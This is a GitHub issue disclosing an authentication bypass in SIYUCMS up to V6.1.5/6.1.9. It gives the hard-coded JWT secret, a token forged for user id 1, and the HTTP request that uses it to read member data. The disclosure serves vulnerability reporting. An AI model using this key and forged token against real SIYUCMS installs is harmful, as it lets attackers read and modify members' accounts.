Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SIYUCMS Authentication bypass vulnerability #1

Open
LtmThink opened this issue Sep 22, 2024 · 0 comments
Open

SIYUCMS Authentication bypass vulnerability #1

LtmThink opened this issue Sep 22, 2024 · 0 comments

Comments

@LtmThink
Copy link

Vulnerability description:

This vulnerability exists in the member management system, the member login system uses JWT to verify the identity of the logged member, but the key of the JWT is directly stored in the code in a hard-coded way, resulting in the emergence of the SIYUCMS identity authentication bypass vulnerability, and the attacker can access the specific interface through the forged JWT token to query and modify the member information.

Version:

<=V6.1.5(github)

<=V6.1.9(gitee)

Vulnerability Recurrence:
  1. Use the default key 1faASDF3 to forge the user token with uid 1

image

2.Using this token, visit interface/index.php/api/user/index to get user information

GET /index.php/api/user/index HTTP/1.1
Host: 127.0.0.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhcGkuc2l5dWNtcy5jb20iLCJhdWQiOiJzaXl1Y21zX2FwcCIsImlhdCI6MTU2MzUyNTc4MCwiZXhwIjozNTYzNTI5MzgwLCJ1aWQiOjF9.beAd1JYyQQlS8Wv5nK9alzztlJcxLwmAHK71Vx-95L0
Accept-Encoding: gzip

image

Vulnerability Analysis:

\app\api\service\JwtAuth::$secrect encrypts JWT using hard-coded key

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant